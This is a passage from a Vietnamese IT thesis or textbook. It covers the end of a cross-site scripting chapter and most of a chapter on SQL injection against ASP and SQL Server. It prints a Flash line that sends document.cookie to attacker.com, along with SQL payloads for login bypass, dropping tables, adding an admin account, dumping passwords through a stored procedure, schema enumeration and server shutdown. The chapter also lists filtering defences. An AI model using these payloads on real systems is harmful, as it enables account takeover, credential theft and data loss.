đọc: getURL(“javascript:location(‘http://www.attacker.com?newcookie=’+do cument.cookie)”) Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lập tức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker.
  • 56. Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) -Trang 53- Hình 5.IV-2: Cách viết Action Scipt trong Flash Ví dụ 5.IV-2: DeviantArt là một trang web nổi tiếng, cho phép thành viên của nó gửi các tập tin flash lên cho mọi thành viên cùng xem. Vì thế hacker có thể ăn cắp cookie của các thành viên và cũng có thể là tài khoản của người quản trị web, bằng cách đăng kí làm thành viên của ứng dụng Web này, gửi tập tin flash lên máy chủ và đợi các nạn nhân xem tập tin flash đó. Dưới đây là địa chỉ liên kết dến một tập tin flash như đã trình bày trong ví dụ 5.IV-2: http://www.deviantart.com/deviation/1386080 Ngoài ra các trang web cho phép thành viên gửi dữ liệu dạng HTML như diễn đàn, các chức năng tạo chữ kí riêng, … cũng có thể là mục tiêu của cách tấn công này, bằng cách nhập đoạn mã gọi tập tin flash vào. <OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/s wflash.cab#version=6,0,0,0" WIDTH="60"
  • 57. Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) -Trang 54- HEIGHT="48" id="1" ALIGN=""> <PARAM NAME=movie VALUE="http://www.ke_tan_cong.com/vidu.swf"> <PARAM NAME=quality VALUE=high> <PARAM NAME=bgcolor VALUE=#FF9900> <EMBED src=" http://www.ke_tan_cong.com/vidu.swf" quality=high bgcolor=#FF9900 WIDTH="60" HEIGHT="48" NAME="1" ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer"> </EMBED> </OBJECT> V. CÁCH PHÒNG CHỐNG • Với những dữ liệu, thông tin nhập của người dùng, người thiết kế ứng dụng Web cần phải thực hiện vài bước cơ bản sau: o Tạo ra danh sách những thẻ HTML được phép sử dụng. o Xóa bỏ thẻ <script> o Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related nào. o Lọc dấu nháy đơn hay kép o Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tự Null khiến cho ứng dụng dù đã lọc bỏ thẻ <script> vẫn không nhận ra do ứng dụng nghĩ rằng chuỗi đã kết thúc từ kí tự Null này).
  • 58. Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) -Trang 55- o Xóa những kí tự “ > ”, “ < ” o Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn riêng. • Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà người dùng sẽ quyết định. Nhận xét: Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại chỉ dừng lại ở mức độ tấn công trên máy nạn nhân thông qua những liên kết hay form lừa đảo mà hacker đưa đến cho nạn nhân. Vì thế, ngoài việc ứng dụng kiểm tra tính đúng đắn của dữ liệu trước khi sử dụng thì việc cần nhất là người dùng nên cảnh giác trước khi bước vào một trang Web mới. Có thể nói, nhờ vào sự cảnh giác của người dùng thì 90% đã đạt được sự bảo mật trong kĩ thuật này. Tuy nhiên, trong chương 6, sự tấn công lại nhắm vào máy chủ, nhằm thu thập thông tin trong cơ sở dữ liệu và từ đó giành quyền quản trị ứng dụng.
  • 59. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 56- Chương 6 CHÈN CÂU TRUY VẤN SQL Nội dung: I. Khái niệm SQL Injection II. Giới thiệu mô hình cơ sở dữ liệu. III. Các cách tấn công. IV. Cách phòng chống .
  • 60. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 57- CHƯƠNG 6: CHÈN CÂU TRUY VẤN SQL (SQL INJECTION) I. KHÁI NIỆM SQL INJECTION SQL Injection là cách lợi dụng những lỗ hổng trong quá trình lập trình Web về phần truy xuất cơ sở dữ liệu. Đây không chỉ là khuyết điểm của riêng SQL Server mà nó còn là vấn đề chung cho toàn bộ các cơ sở dữ liệu khác như Oracle, MS Access hay IBM DB2. Khi hacker gửi những dữ liệu (thông qua các form), ứng dụng Web sẽ thực hiện và trả về cho trình duyệt kết quả câu truy vấn hay những thông báo lỗi có liên quan đến cơ sở dữ liệu. Và nhờ những thông tin này mà hacker biết được nội dung cơ sở dữ liệu và từ đó có thể điều khiển toàn bộ hệ thống ứng dụng. II. GIỚI THIỆU MÔ HÌNH CƠ SỞ DỮ LIỆU Để trình bày tốt hơn nội dung kĩ thuật này, luận văn sử dụng bảng User để minh họa kĩ thuật tấn công. Bảng User: STT Tên trường Cài đặt vật lí Kiểu trường Kích thước Diễn giải 1 tkUsername Khóa chính Text 50 Mỗi người dùng có 1 account để đăng nhập. 2 tkPassword Text 50 Password để đăng nhập
  • 61. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 58- Quy ước: Ngôn ngữ lập trình sử dụng để minh họa trong chương này là ASP với cơ sở dữ liệu là SQL Server. III. CÁC CÁCH TẤN CÔNG III.1. Kĩ thuật tấn công SQL Injection Dưới đây là kĩ thuật SQL injection đơn giản nhất, dùng để vượt qua các form đăng nhập. Ví dụ 6.III.1-1: giả sử ứng dụng web có đoạn mã sau: SQLQuery= “SELECT tkUsername FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’” flag= GetQueryResult (SQLQuery) if flag = “” then check=FALSE else check=TRUE end if Đoạn mã trên kiểm tra chuỗi nhập Username và Password. Nếu tồn tại trong bảng User thì check=true ngược lại check=false. Giá tri nhập vào là: Username: ’ OR ‘’=’ Password: ’ OR ‘’=’
  • 62. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 59- Câu lệnh SQL lúc này như sau: SELECT tkUsername FROM User WHERE tkUsername= ‘’ OR ‘’=’‘ AND Password= ‘’ OR ‘’=’’ Câu lệnh so sánh trên luôn luôn đúng (vì ‘’ luôn bằng ‘’). Do đó câu điều kiện trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng đầu tiên trong bảng sẽ được chọn. Kết hợp với kí tự đặc biệt của SQL : • kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn • kí tự “--” : ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng Ví dụ 6.III.1-2: Username: ’; drop table User-- Password: Câu lệnh SQL lúc này như sau: SELECT tkUsername FROM User WHERE tkUsername= ‘’;drop table User-- AND Password= ‘” & tkPassword & “’” Với câu lệnh trên thì bảng User sẽ bị xóa hoàn toàn. Ví dụ 6.III.1-3: Một ví dụ khác sử dụng kí tự đặc biệt SQL để thâm nhập vào hệ thống như sau: Username: admin’-- Password:
  • 63. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 60- Câu lệnh SQL như sau: SELECT tkUsername FROM User WHERE tkUsername= ‘admin’-- AND Password= ‘” & tkPassword & “’” Câu lệnh trên cho phép đăng nhập vào hệ thống với quyền admin mà không đòi hỏi password. III.2. Tấn công dưa vào câu lệnh SELECT Ngoài kĩ thuật đơn giản trên, việc tấn công thường dựa trên những thông báo lỗi để lấy thông tin về bảng cũng như những trường trong bảng. Để làm được điều này, cần phải hiểu những thông báo lỗi và từ đó chỉnh sửa nội dung nhập cho phù hợp. Khái niệm Direct Injection: Những đối số được thêm vào trong câu lệnh mà không nằm giữa những dấu nhấy đơn hay dấu ngoặc kép là trường hợp direct injection. Ví dụ III.2.1 Ví dụ 6.III.2-1: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=”& tName Khái niệm Quote Injection: Những trường hợp đối số được nhập vào đều được ứng dụng cho vào giữa hai dấu nháy đơn hay ngoặc kép là trường hợp Quote Injection. Ví dụ III.2.2 Ví dụ 6.III.2-2: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’”& tName & “’”
  • 64. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 61- Để vô hiệu hoá dấu nháy và thay đổi câu lệnh mà vẫn giữ được cú pháp đúng, chuỗi mã chèn thêm vào phải có một dấu nháy đơn trước chuỗi kí tự được chèn vào và ở cuối câu lệnh phải có một dấu nháy đơn, chẳng hạn như sau: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’’ and ‘’=’’” Nếu đã thực hiện như trên mà thông báo lỗi có liên quan đến dấu “(“ thì trong chuỗi chèn vào phải có “)”: Ví dụ 6.III.2-3: Giả sử: StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’”& tName & “’”) Thì cú pháp hợp lệ như sau: StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’’)or ‘’=’’” Ngoài ra kí tự % thường được dùng trong những trường hợp tìm kiếm thông tin. Ví dụ 6.III.2-4: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’”
  • 65. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 62- III.3. Tấn công dựa vào câu lệnh HAVING HAVING sử dụng cùng chung với mệnh đề GROUP BY là phương pháp hữu hiệu để nhận thông tin bảng, trường… và sẽ được bàn sâu hơn trong phần 4. III.4. Tấn công dựa vào câu lệnh kết hợp UNION Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông thường vị trí có thể được chèn thêm vào một mệnh đề SELECT là sau WHERE. Để có thể trả về nhiều dòng thông tin trong bảng, thay đổi điều kiện trong mệnh đề WHERE bằng cách chèn thêm UNION SELECT. Ví dụ 6.III.4-1: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’UNION SELECT tkPassword from User” Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với tkPassword trong bảng User. Ghi chú: • Số cột trong hai câu SELECT phải khớp với nhau. Nghĩa là số lượng cột trong câu lệnh SELECT ban đầu và câu lệnh UNION SELECT phía sau bằng nhau và cùng kiểu. Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu lệnh UNION mà có thể biết kiểu của mỗi trường.
  • 66. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 63- Sau đây là những ví dụ được thực hiện khi không biết nội dung cơ sở dữ liệu dựa vào HAVING, GROUP BY, UNION: Ví dụ 6.III.4-2: Nhắc lại câu truy vấn cần để đăng nhập: SQLQuery= “SELECT tkUsername,tkPassword FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’” Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câu điều kiện “having” , như ví dụ sau: Giá trị nhập vào: Username: ’having 1=1-- Lỗi phát sinh: [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'User.tkUsername' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn là User và trong bảng tồn tại một trường tên là tkUsername. Sau đó sử dụng GROUP BY: Ví dụ 6.III.4-3: Username: ‘group by User.tkUsername having 1=1--
  • 67. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 64- Lỗi phát sinh: [Microsoft][ODBC SQL Server Driver][SQL Server] Column'User.tkPassword'is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. Như vậy tkPassword là một trường của bảng User và được sử dụng trong câu truy vấn. Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảng User tham gia vào câu truy vấn. Khi không còn báo lỗi cú pháp GROUP BY nữa thì chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng. Lúc này UNION được sử dụng: Ví dụ 6.III.4-4: Username:’union select sum(tkUsername) from User Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là kiểu số. Nếu đối số không là kiểu số thì phát sinh lỗi như sau: [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. Như vậy với thông điệp lỗi như trên thì tkUsername chắc chắn phải là kiểu “varchar”.
  • 68. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 65- Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong bảng. Sau khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào bảng User. Ví dụ 6.III.4-5: Username:’; insert into User(tkUsername,tkPassword) values (‘admin’, ‘’)-- Hacker thêm nội dung như Ví dụ 6.III.4.2.4 bây giờ trở thành người quản trị mạng mà không cần mật khẩu để chứng thực. Ví dụ 6.III.4-6: minh hoạ một công đoạn sẽ giúp hacker đọc hết thông tin trong bảng User: • Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2 trường tkUsername và tkPassword trong bảng User thành một chuỗi vào một bảng mới là foo có một trường là ret bằng đoạn mã sau: create proc test as begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+tkUsername+'/'+tkPassword from User select @ret as ret into foo end Thực thi câu lệnh bằng cách nhập vào form. Username:’;Create proc test as begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+'
  • 69. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 66- '+tkUsername+'/'+tkPassword from User select @ret as ret into foo • Bước 2: Gọi Stored procedure đó Sau khi đã tạo được stored procedure như trên, thực hiện lời gọi hàm: Username:’;exec test • Bước 3: Dùng UNION để xem nội dung bảng foo Username:’;select ret,1 from foo union select 1,1 from foo Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error convertingthe varchar value ': admin/passofAdmin nhimmap/passofnhimmap minhthu/passofminhthu' to a column of data type int. Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm có tên tkUsername và mật khẩu tkPassword. • Bước 4: Ngoài ra hacker còn có thể cẩn thận xoá bảng foo để xoá dấu vết: Username: ‘; drop table foo-- Ví dụ 6.III.4-7: Còn đây là một cách khác để xác định nội dung của bảng User, còn một phương pháp tìm kiếm thông tin như sau: • Bước 1: Tìm tuần tự từng dòng trên bảng User Username:’union select 1,1
  • 70. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 67- hoặc : Username:’union select min(tkUsername),1 from User where tkUsername> ’a’-- Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. Người đầu tiên trong bảng User là “admin”. • Bước 2: Để biết các giá trị tiếp theo, nhập chuỗi sau: Username:’;select min(tkUsername),1 from User where tkUsername> ’admin’union select 1,1 from User Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'nhimmap' to a column of data type int. • Bước 3: Thực hiện như bước 2 cho ra kết quả là từng dòng với trường tkUsername trong bảng User.
  • 71. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 68- • Bước 4: Để biết thêm về tkPasswork, có thể thực hiện như sau: Username:’;select tkPassword,1 from User where tkUsername= ’admin’union select 1,1 from User Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'passOfAdmin' to a column of data type int. Để biết thông tin về các bảng, cột trong cơ sở dữ liệu, có thể truy vấn bảng đến bảng hệ thống INFORMATION_SCHEMA.TABLES. Ví dụ 6.III.4-8: select TABLE_NAME from INFORMATION_SCHEMA.TABLES INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Trường TABLE_NAME chứa tên của mỗi table trong cơ sở dữ liệu. SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='User' Câu lệnh trên được sử dụng để biết thông tin về cột trong bảng. Ngoài ra còn có thể dùng UNION để biết các biến môi trường của SQL Server.
  • 72. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 69- Ví dụ 6.III.4-9: Để biết ứng dụng đang chạy trên Server nào, có thể xác định bằng cách sau: Username:’;select @@SERVERNAME union select 1 Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'KHOAI_NGU' to a column of data type int. III.5. Tấn công dưa vào lệnh INSERT Từ khoá INSERT dùng để đưa thông tin vào cơ sở dữ liệu. Thông thường câu lệnh INSERT được dùng trong các trường hợp như: thông tin đăng kí người sử dụng, guestbook…v..v… Kĩ thuật “;”, “--“ được dùng như đã từng dùng với câu lệnh SELECT, phải đảm bảo đúng số lượng và kiểu giá trị được nhập vào nhằm tránh lỗi về cú pháp (nếu không xác định được kiểu dữ liệu có thể nhập tất cả là số). Ví dụ 6.III.5-1: SQLString= “INSERT INTO User VALUES (‘” & strUsername & “’, ‘” & strName& “’, ‘” & strPassWord & “’,’”& strLimitSize & “’)”
  • 73. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 70- III.6. Tấn công dưa vào STORED PROCEDURE Stored Procedure được sử dụng trong lập trình Web với mục đích giảm sự phức tạp trong ứng dụng và tránh sự tấn công trong kĩ thuật SQL Injection. Tuy nhiên hacker vẫn có thể lợi dụng những Stored Procedure để tấn công vào hệ thống. Ví dụ 6.III.6-1: Stored procedure sp_login gồm hai tham số là username và password. Nếu nhập: Username: nhimmap Password: ‘;shutdown-- Lệnh gọi stored procedure như sau: exec sp_login ‘nhimmap’,‘’;shutdown--’ Lệnh shutdown thực hiện dừng SQL Server ngay lập tức. III.7. Nâng cao III.7.1. Chuỗi kí tự không có dấu nháy đơn: Những nhà lập trình có thể bảo vệ ứng dụng của họ bằng cách loại bỏ tất cả dấu nháy, thông thường loại bỏ dấu nháy bằng cách thay một dấu nháy thành 2 dấu nháy. Ví dụ 6.III.7.1-1: Function escape (input) Input=replace(input, “’”, “’’”) escape=input end function